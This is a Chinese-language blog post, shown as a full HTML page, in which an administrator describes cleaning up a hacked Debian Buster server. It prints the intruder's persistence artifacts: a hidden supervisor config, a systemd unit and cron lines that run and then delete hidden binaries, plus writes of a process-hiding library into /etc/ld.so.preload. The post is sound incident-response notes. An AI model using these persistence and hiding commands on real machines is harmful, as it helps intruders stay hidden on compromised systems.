|
|
<!DOCTYPE html>
|
|
|
<html lang="en-us">
|
|
|
<head><meta charset="utf-8">
|
|
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
|
|
<script type="application/ld+json">
|
|
|
{
|
|
|
"@context" : "http://schema.org",
|
|
|
"@type" : "BlogPosting",
|
|
|
"mainEntityOfPage": {
|
|
|
"@type": "WebPage",
|
|
|
"@id": "https:\/\/h.cowbay.org"
|
|
|
},
|
|
|
"articleSection" : "post",
|
|
|
"name" : "[筆記] Debian Buster 伺服器被入侵了！\/ Debian Buster Server Been Hacked",
|
|
|
"headline" : "[筆記] Debian Buster 伺服器被入侵了！\/ Debian Buster Server Been Hacked",
|
|
|
"description" : "\u003cp\u003e上禮拜某天在開會的時候，LINE不斷傳來訊息\u003c\/p\u003e\n\u003cp\u003e不過因為我向來開會都很認真(驕傲，所以都沒看，接著就變成來電了\u003c\/p\u003e\n\u003cp\u003e看來大概有啥事發生\u003c\/p\u003e\n\u003cp\u003e不過畢竟不是正職的工作，就先放著吧\u003c\/p\u003e\n\u003cp\u003e後來變成連學長都直接打來告訴我，某間公司的伺服器出事了，客戶找不到我\u003c\/p\u003e\n\u003cp\u003e叫我趕快連進去看\u003c\/p\u003e\n\u003cp\u003e是說，啊我又沒跟人家簽維護，趕什麼趕\u0026hellip;\u003c\/p\u003e\n\u003cp\u003e總之，開完會後就了解一下狀況\u003c\/p\u003e",
|
|
|
"inLanguage" : "en",
|
|
|
"author" : "Eric Chang",
|
|
|
"creator" : "Eric Chang",
|
|
|
"publisher": "Eric Chang",
|
|
|
"accountablePerson" : "Eric Chang",
|
|
|
"copyrightHolder" : "Eric Chang",
|
|
|
"copyrightYear" : "2020",
|
|
|
"datePublished": "2020-07-10 09:48:24 \u002b0800 CST",
|
|
|
"dateModified" : "2020-07-10 09:48:24 \u002b0800 CST",
|
|
|
"url" : "https:\/\/h.cowbay.org\/post\/debian-buster-server-been-hacked\/",
|
|
|
"wordCount" : "492",
|
|
|
"image" : "https://h.cowbay.orghttps://h.cowbay.org/images/post-default-14.jpg"",
|
|
|
"keywords" : [ ""debian"","Blog" ]
|
|
|
}
|
|
|
</script>
|
|
|
|
|
|
|
|
|
<title>[筆記] Debian Buster 伺服器被入侵了！/ Debian Buster Server Been Hacked </title>
|
|
|
|
|
|
|
|
|
<meta name="description" content="some articles about job,food,passion sisters" />
|
|
|
|
|
|
|
|
|
|
|
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
|
<meta name="robots" content="all,follow">
|
|
|
<meta name="googlebot" content="index,follow,snippet,archive">
|
|
|
<link rel="stylesheet" id="ct-tracks-google-fonts-css" href="https://fonts.googleapis.com/css?family=Raleway%3A400%2C700&subset=latin%2Clatin-ext&ver=4.7.2" type="text/css" media="all">
|
|
|
|
|
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.3.1/css/all.css" integrity="sha384-mzrmE5qonljUremFsqc01SB46JvROS7bZs3IO2EmfFsd15uHvIt+Y8vEf7N7fWAU" crossorigin="anonymous">
|
|
|
|
|
|
<link href="https://h.cowbay.org/css/style.css?v=1646187614" rel="stylesheet" id="theme-stylesheet" type='text/css' media='all'>
|
|
|
|
|
|
<link href="https://h.cowbay.org/css/custom.css?v=1646187614" rel="stylesheet" type='text/css' media='all'>
|
|
|
<link rel="shortcut icon" href="https://h.cowbay.org/img/favicon.ico" type="image/x-icon">
|
|
|
<link rel="icon" href="https://h.cowbay.org/img/favicon.ico" type="image/x-icon">
|
|
|
|
|
|
|
|
|
<script type="application/javascript">
|
|
|
var doNotTrack = false;
|
|
|
if (!doNotTrack) {
|
|
|
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
|
|
|
ga('create', 'UA-138954876-1', 'auto');
|
|
|
|
|
|
ga('send', 'pageview');
|
|
|
}
|
|
|
</script>
|
|
|
<script async src='https://www.google-analytics.com/analytics.js'></script>
|
|
|
|
|
|
</head>
|
|
|
|
|
|
|
|
|
<body class="post-template-default single single-post single-format-standard ct-body singular singular-post not-front standard">
|
|
|
|
|
|
<div id="overflow-container" class="overflow-container">
|
|
|
<a class="skip-content" href="#main">Skip to content</a>
|
|
|
<header id="site-header" class="site-header" role="banner">
|
|
|
<div class='top-navigation'>
|
|
|
<div class='container'>
|
|
|
|
|
|
<div id="menu-secondary" class="menu-container menu-secondary" role="navigation">
|
|
|
<button id="toggle-secondary-navigation" class="toggle-secondary-navigation"><i class="fas fa-plus"></i></button>
|
|
|
|
|
|
<div class="menu">
|
|
|
|
|
|
<ul id="menu-secondary-items" class="menu-secondary-items">
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/ansible">ansible</a>
|
|
|
</li>
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/linux">linux</a>
|
|
|
</li>
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/proxmox">proxmox</a>
|
|
|
</li>
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/ps">ps</a>
|
|
|
</li>
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/%E7%A2%8E%E5%BF%B5">碎念</a>
|
|
|
</li>
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/%E7%AD%86%E8%A8%98">筆記</a>
|
|
|
</li>
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/%E7%BE%A4%E6%9A%89">群暉</a>
|
|
|
</li>
|
|
|
|
|
|
<li class="menu-item menu-item-type-taxonomy menu-item-object-category">
|
|
|
<a href="/categories/%E9%9B%9C%E5%BF%B5">雜念</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
</ul>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
<ul class="social-media-icons">
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20Social%20profile%20url%20in%20facebook" data-animate-hover="pulse" class="facebook" target="_blank">
|
|
|
<i class="fab fa-facebook-square" title="facebook"></i>
|
|
|
<span class="screen-reader-text">facebook</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20profile%20url%20in%20googleplus" data-animate-hover="pulse" class="gplus" target="_blank">
|
|
|
<i class="fab fa-google-plus-g" title="googleplus"></i>
|
|
|
<span class="screen-reader-text">googleplus</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="chang0206" data-animate-hover="pulse" class="twitter" target="_blank">
|
|
|
<i class="fab fa-twitter-square" title="twitter"></i>
|
|
|
<span class="screen-reader-text">twitter</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="chang0206" data-animate-hover="pulse" class="instagram" target="_blank">
|
|
|
<i class="fab fa-instagram" title="instagram"></i>
|
|
|
<span class="screen-reader-text">instagram</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="mailto:mc@hotshraingmy.info" data-animate-hover="pulse" class="email">
|
|
|
<i class="fas fa-envelope" title="email"></i>
|
|
|
<span class="screen-reader-text">email</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20profile%20url%20in%20linkedin" data-animate-hover="pulse" class="linkedin" target="_blank">
|
|
|
<i class="fab fa-linkedin-in" title="linkedin"></i>
|
|
|
<span class="screen-reader-text">linkedin</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20profile%20url%20in%20stackoverflow" data-animate-hover="pulse" class="stackoverflow" target="_blank">
|
|
|
<i class="fab fa-stack-overflow" title="stackoverflow"></i>
|
|
|
<span class="screen-reader-text">stackoverflow</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="changchichung" data-animate-hover="pulse" class="github" target="_blank">
|
|
|
<i class="fab fa-github" title="github"></i>
|
|
|
<span class="screen-reader-text">github</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20profile%20url%20in%20pinterest" data-animate-hover="pulse" class="pinterest" target="_blank">
|
|
|
<i class="fab fa-pinterest" title="pinterest"></i>
|
|
|
<span class="screen-reader-text">pinterest</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="https://h.cowbay.org/index.xml" data-animate-hover="pulse" class="rss" target="_blank">
|
|
|
<i class="fas fa-rss" title="rss"></i>
|
|
|
<span class="screen-reader-text">rss</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
</ul></div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<div class="container">
|
|
|
<div id="title-info" class="title-info">
|
|
|
<div id='site-title' class='site-title'>
|
|
|
|
|
|
<a href="/"> MC部落 </a>
|
|
|
</div>
|
|
|
</div>
|
|
|
<button id="toggle-navigation" class="toggle-navigation">
|
|
|
<i class="fas fa-bars"></i>
|
|
|
</button>
|
|
|
|
|
|
<div id="menu-primary-tracks" class="menu-primary-tracks"></div>
|
|
|
<div id="menu-primary" class="menu-container menu-primary" role="navigation">
|
|
|
|
|
|
<p class="site-description">What’s the Worst That Could Happen?</p>
|
|
|
|
|
|
|
|
|
<div class="menu">
|
|
|
<ul id="menu-primary-items" class="menu-primary-items">
|
|
|
|
|
|
|
|
|
<li class='menu-item menu-item-type-custom menu-item-object-custom '>
|
|
|
<a href="https://h.cowbay.org/">Home</a>
|
|
|
|
|
|
</li>
|
|
|
|
|
|
<li class='menu-item menu-item-type-post_type menu-item-object-page '>
|
|
|
<a href="https://h.cowbay.org/about/">About</a>
|
|
|
|
|
|
</li>
|
|
|
|
|
|
<li class='menu-item menu-item-type-post_type menu-item-object-page '>
|
|
|
<a href="https://h.cowbay.org/contact/">Get in touch</a>
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
</header>
|
|
|
|
|
|
<div id="main" class="main" role="main">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<div id="loop-container" class="loop-container">
|
|
|
|
|
|
<div class="post type-post status-publish format-standard has-post-thumbnail hentry category-design tag-design tag-standard-2 tag-tagalicious tag-travel entry full-without-featured odd excerpt-1">
|
|
|
|
|
|
<div class='featured-image lazy lazy-bg-image' data-background="https://h.cowbay.org/images/post-default-14.jpg">
|
|
|
</div>
|
|
|
|
|
|
<div class="entry-meta">
|
|
|
<span class="date">10 July</span> <span> / </span>
|
|
|
|
|
|
<span class="author">
|
|
|
<a href="https://github.com/changchichung" title="Posts by Eric Chang" rel="author">Eric Chang</a>
|
|
|
</span>
|
|
|
|
|
|
|
|
|
|
|
|
<span class="category">
|
|
|
<span> / </span>
|
|
|
|
|
|
<a href="/categories/%E7%AD%86%E8%A8%98">筆記</a>
|
|
|
</span>
|
|
|
|
|
|
|
|
|
|
|
|
</div>
|
|
|
<div class='entry-header'>
|
|
|
<h1 class='entry-title'> [筆記] Debian Buster 伺服器被入侵了！/ Debian Buster Server Been Hacked</h1>
|
|
|
</div>
|
|
|
<div class="entry-container">
|
|
|
<div class="entry-content">
|
|
|
<article>
|
|
|
<p>上禮拜某天在開會的時候，LINE不斷傳來訊息</p>
|
|
|
<p>不過因為我向來開會都很認真(驕傲，所以都沒看，接著就變成來電了</p>
|
|
|
<p>看來大概有啥事發生</p>
|
|
|
<p>不過畢竟不是正職的工作，就先放著吧</p>
|
|
|
<p>後來變成連學長都直接打來告訴我，某間公司的伺服器出事了，客戶找不到我</p>
|
|
|
<p>叫我趕快連進去看</p>
|
|
|
<p>是說，啊我又沒跟人家簽維護，趕什麼趕…</p>
|
|
|
<p>總之，開完會後就了解一下狀況</p>
|
|
|
<p>了解狀況後(user 也只說不能連線..WTF)，還是直接連進去看伺服器啥問題好了</p>
|
|
|
<p>連線的過程就發現，主機回應有點慢</p>
|
|
|
<p>不過還是可以連上，檢查一下ps / netstat 等等訊息，感覺就是有哪裡怪怪的</p>
|
|
|
<p>進去etc 看一下，一下 ls -lart 就發現不對，畫面整個跑掉</p>
|
|
|
<p>感覺就多了很多檔案</p>
|
|
|
<p>所以先裝個file manager 來看(這樣才能避免ls 被駭客調包的情況)</p>
|
|
|
<p>總之就發現了一些不正常的檔案</p>
|
|
|
<p>/etc/.sh 等等族繁不及備載</p>
|
|
|
<p>於是先去FW 把這台機器對外開放的port 先關掉</p>
|
|
|
<p>然後開始紀錄邊清</p>
|
|
|
<p>底下是一些記錄下來的log 很亂，因為是邊清邊紀錄的關係</p>
|
|
|
<p>這是在某個特定日期時間被產生出來的檔案</p>
|
|
|
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-bash" data-lang="bash">/etc/allow.bak
|
|
|
/etc/deny.bak
|
|
|
/etc/fstab
|
|
|
/etc/sysctl.conf
|
|
|
/etc/gshadow
|
|
|
/etc/fstab.bak
|
|
|
/etc/subuid
|
|
|
/etc/subgid
|
|
|
/etc/.supervisor
|
|
|
/sbin/https
|
|
|
/swapfile
|
|
|
/var/mail/root
|
|
|
/var/lib/rkhunter/tmp/group
|
|
|
/var/lib/rkhunter/tmp/passwd
|
|
|
/var/lib/dpkg/info/python-meld3.list
|
|
|
/var/backups/dpkg.status.1.gz
|
|
|
/var/backups/shadow.bak
|
|
|
/var/backups/group.bak
|
|
|
/var/backups/dpkg.status.6.gz
|
|
|
/var/backups/dpkg.status.3.gz
|
|
|
/var/backups/dpkg.status.5.gz
|
|
|
/var/backups/apt.extended_states.0
|
|
|
/var/backups/dpkg.status.2.gz
|
|
|
/var/backups/passwd.bak
|
|
|
/var/backups/gshadow.bak
|
|
|
/var/backups/dpkg.status.0
|
|
|
/var/backups/dpkg.status.4.gz
|
|
|
/var/log/wtmp.1
|
|
|
/var/log/supervisor
|
|
|
/var/log/dpkg.log.1
|
|
|
/var/log/secure
|
|
|
/var/log/apt/term.log.1.gz
|
|
|
/var/log/apt/history.log.1.gz
|
|
|
/usr/lib/systemd
|
|
|
/usr/lib/mysql/mysql
|
|
|
</code></pre></div><p>/etc/.supervisor/conf.d/sh.conf</p>
|
|
|
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-bash" data-lang="bash"><span style="color:#f92672">[</span>program:.sh<span style="color:#f92672">]</span>
|
|
|
directory<span style="color:#f92672">=</span>/etc/
|
|
|
command<span style="color:#f92672">=</span>/bin/bash -c <span style="color:#e6db74">'cp -f -r -- /etc/spts /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'</span>
|
|
|
autostart<span style="color:#f92672">=</span>true
|
|
|
autorestart<span style="color:#f92672">=</span>true
|
|
|
startretries<span style="color:#f92672">=</span><span style="color:#ae81ff">999999999</span>
|
|
|
redirect_stderr<span style="color:#f92672">=</span>true
|
|
|
pidfile<span style="color:#f92672">=</span>/etc/psdewo.pid
|
|
|
stdout_logfile<span style="color:#f92672">=</span>/etc/usercenter_stdout
|
|
|
</code></pre></div><p>php.sh 這個忘了是在crontab 還是/etc/profile.d/底下看到的</p>
|
|
|
<pre><code>#!/bin/bash
|
|
|
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
|
|
|
/bin/.sh -c >/dev/null 2>&1
|
|
|
rm -rf -- .sh 2>/dev/null
|
|
|
</code></pre><p>supervisor.sh</p>
|
|
|
<pre><code>#!/bin/bash
|
|
|
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
|
|
|
supervisorctl reload >/dev/null 2>&1
|
|
|
</code></pre><p>某個 service 檔案</p>
|
|
|
<pre><code>[Unit]
|
|
|
Description=.sh
|
|
|
|
|
|
Wants=network.target
|
|
|
After=syslog.target network-online.target
|
|
|
|
|
|
[Service]
|
|
|
Type=forking
|
|
|
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
|
|
|
Restart=always
|
|
|
KillMode=process
|
|
|
|
|
|
[Install]
|
|
|
WantedBy=multi-user.target
|
|
|
</code></pre><p>syslog 部份內容</p>
|
|
|
<pre><code>Jul 7 06:20:01 pve CRON[12502]: (root) CMD (/sbin/httpss)
|
|
|
Jul 7 06:20:01 pve CRON[12499]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:21:01 pve CRON[14096]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:21:01 pve CRON[14095]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:21:01 pve CRON[14094]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:22:01 pve CRON[15995]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:22:01 pve CRON[15994]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:22:01 pve CRON[15996]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:23:01 pve CRON[17708]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:23:01 pve CRON[17709]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:23:01 pve CRON[17710]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:24:01 pve CRON[19353]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:24:01 pve CRON[19351]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:24:01 pve CRON[19352]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:25:01 pve CRON[21289]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:25:01 pve CRON[21290]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:25:01 pve CRON[21288]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
|
|
|
Jul 7 06:25:01 pve CRON[21291]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
</code></pre><p>比較特別的是，他會去修改 /etc/fstab 載入一個 swapfile</p>
|
|
|
<p>WTF！？ 沒事載入自己的 fstab 做啥？？</p>
|
|
|
<p>然後還會在系統建立user 可以看一下 /etc/passwd , /etc/group , /etc/gshadow 這些檔案檢查</p>
|
|
|
<p>手邊最好有另一臺乾淨的同樣作業系統的機器</p>
|
|
|
<p>因為有很多系統指令已經被替換掉(netstat/ss/lsof 等等)</p>
|
|
|
<p>需要從乾淨的系統弄過來，或者是重新從apt 安裝回來</p>
|
|
|
</article>
|
|
|
</div>
|
|
|
|
|
|
<div class='entry-meta-bottom'>
|
|
|
|
|
|
|
|
|
<div class="entry-categories"><p><span>Categories</span>
|
|
|
|
|
|
<a href="/categories/%E7%AD%86%E8%A8%98" title="View all posts in 筆記">筆記</a>
|
|
|
</p>
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
|
|
<div class="entry-tags"><p><span>Tags</span>
|
|
|
|
|
|
<a href="/tags/debian" title="View all posts tagged debian">debian</a>
|
|
|
|
|
|
|
|
|
</p></div> </div>
|
|
|
|
|
|
|
|
|
<div class="author-meta">
|
|
|
|
|
|
<div class="author">
|
|
|
|
|
|
<img alt='Eric Chang' src="https://www.gravatar.com/avatar/23f8ed94e007297499ac8df1641b3ff5?s=100&d=identicon" class='avatar avatar-72 photo' height='72' width='72'>
|
|
|
|
|
|
<span>
|
|
|
Written by:<a href="https://github.com/changchichung" title="Posts by Eric Chang" rel="author">Eric Chang</a> </span>
|
|
|
</div>
|
|
|
<div class="bio">
|
|
|
|
|
|
|
|
|
<p>塵世裡一個迷途小書僮</p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<a class="facebook" target="_blank"
|
|
|
href="full%20Social%20profile%20url%20in%20facebook">
|
|
|
<i class="fab fa-facebook-f"
|
|
|
title="facebook icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
<a class="googleplus" target="_blank"
|
|
|
href="full%20profile%20url%20in%20googleplus">
|
|
|
<i class="fab fa-google-plus-g"
|
|
|
title="googleplus icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<a class="twitter" target="_blank"
|
|
|
href="chang0206">
|
|
|
<i class="fab fa-twitter-square"
|
|
|
title="twitter icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
<a class="linkedin" target="_blank"
|
|
|
href="full%20profile%20url%20in%20linkedin">
|
|
|
<i class="fab fa-linkedin"
|
|
|
title="linkedin icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
<a class="email" target="_blank"
|
|
|
href="mailto:mc@hotshraingmy.info">
|
|
|
<i class="fas fa-envelope"
|
|
|
title="email icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
<a class="instagram" target="_blank"
|
|
|
href="chang0206">
|
|
|
<i class="fab fa-instagram"
|
|
|
title="instagram icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
<a class="stackoverflow" target="_blank"
|
|
|
href="full%20profile%20url%20in%20stackoverflow">
|
|
|
<i class="fab fa-stack-overflow"
|
|
|
title="stackoverflow icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
<a class="github" target="_blank"
|
|
|
href="changchichung">
|
|
|
<i class="fab fa-github"
|
|
|
title="github icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<a class="pinterest" target="_blank"
|
|
|
href="full%20profile%20url%20in%20pinterest">
|
|
|
<i class="fab fa-pinterest"
|
|
|
title="pinterest icon"></i>
|
|
|
</a>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</div>
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
</div>
|
|
|
|
|
|
<section id="comments" class="comments">
|
|
|
<div id="disqus_thread"></div>
|
|
|
<script type="application/javascript">
|
|
|
var disqus_config = function () {
|
|
|
|
|
|
|
|
|
|
|
|
};
|
|
|
(function() {
|
|
|
if (["localhost", "127.0.0.1"].indexOf(window.location.hostname) != -1) {
|
|
|
document.getElementById('disqus_thread').innerHTML = 'Disqus comments not available by default when the website is previewed locally.';
|
|
|
return;
|
|
|
}
|
|
|
var d = document, s = d.createElement('script'); s.async = true;
|
|
|
s.src = '//' + "h-cowbay-org-1" + '.disqus.com/embed.js';
|
|
|
s.setAttribute('data-timestamp', +new Date());
|
|
|
(d.head || d.body).appendChild(s);
|
|
|
})();
|
|
|
</script>
|
|
|
<noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
|
|
|
<a href="https://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</section>
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<footer id="site-footer" class="site-footer" role="contentinfo">
|
|
|
<h1>
|
|
|
|
|
|
<a href=""> MC部落 </a>
|
|
|
|
|
|
</h1>
|
|
|
|
|
|
|
|
|
<p class="site-description">What’s the Worst That Could Happen?</p>
|
|
|
|
|
|
|
|
|
<div id="menu-footer" class="menu-container menu-footer" role="navigation">
|
|
|
<div class="menu">
|
|
|
|
|
|
<ul id="menu-footer-items" class="menu-footer-items">
|
|
|
|
|
|
</ul>
|
|
|
|
|
|
</div> </div>
|
|
|
|
|
|
<ul class="social-media-icons">
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a class="facebook" target="_blank"
|
|
|
href="full%20Social%20profile%20url%20in%20facebook" >
|
|
|
<i class="fab fa-facebook-f" title="facebook"></i>
|
|
|
<span class="screen-reader-text">facebook</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a class="googleplus" target="_blank"
|
|
|
href="full%20profile%20url%20in%20googleplus" >
|
|
|
<i class="fab fa-google-plus-g" title="googleplus"></i>
|
|
|
<span class="screen-reader-text">googleplus</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="chang0206" class="twitter" target="_blank">
|
|
|
<i class="fab fa-twitter-square" title="twitter"></i>
|
|
|
<span class="screen-reader-text">twitter</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="chang0206" class="instagram" target="_blank">
|
|
|
<i class="fab fa-instagram" title="instagram"></i>
|
|
|
<span class="screen-reader-text">instagram</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="mailto:mc@hotshraingmy.info" class="email">
|
|
|
<i class="fas fa-envelope" title="email"></i>
|
|
|
<span class="screen-reader-text">email</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20profile%20url%20in%20linkedin" class="linkedin" target="_blank">
|
|
|
<i class="fab fa-linkedin-in" title="linkedin"></i>
|
|
|
<span class="screen-reader-text">linkedin</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20profile%20url%20in%20stackoverflow" class="stackoverflow" target="_blank">
|
|
|
<i class="fab fa-stack-overflow" title="stackoverflow"></i>
|
|
|
<span class="screen-reader-text">stackoverflow</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="changchichung" class="github" target="_blank">
|
|
|
<i class="fab fa-github" title="github"></i>
|
|
|
<span class="screen-reader-text">github</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="full%20profile%20url%20in%20pinterest" class="pinterest" target="_blank">
|
|
|
<i class="fab fa-pinterest" title="pinterest"></i>
|
|
|
<span class="screen-reader-text">pinterest</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
<li>
|
|
|
<a href="https://h.cowbay.org/index.xml" data-animate-hover="pulse" class="rss" target="_blank">
|
|
|
<i class="fas fa-rss" title="rss"></i>
|
|
|
<span class="screen-reader-text">rss</span>
|
|
|
</a>
|
|
|
</li>
|
|
|
|
|
|
|
|
|
</ul> <div class="design-credit">
|
|
|
|
|
|
<p>© 2018 Göran Svensson</p>
|
|
|
|
|
|
<p>Nederburg Hugo Theme by <a href="https://appernetic.io">Appernetic</a>.</p>
|
|
|
|
|
|
<p>A port of Tracks by Compete Themes.</p>
|
|
|
|
|
|
</div>
|
|
|
</footer>
|
|
|
|
|
|
</div>
|
|
|
<script src="https://h.cowbay.org/js/jquery.min.js"></script>
|
|
|
<script src="https://h.cowbay.org/js/jquerymigrate.js"></script>
|
|
|
<script src="https://h.cowbay.org/js/production.min.js?v=1646187614"></script>
|
|
|
|
|
|
</body>
|
|
|
</html>
|
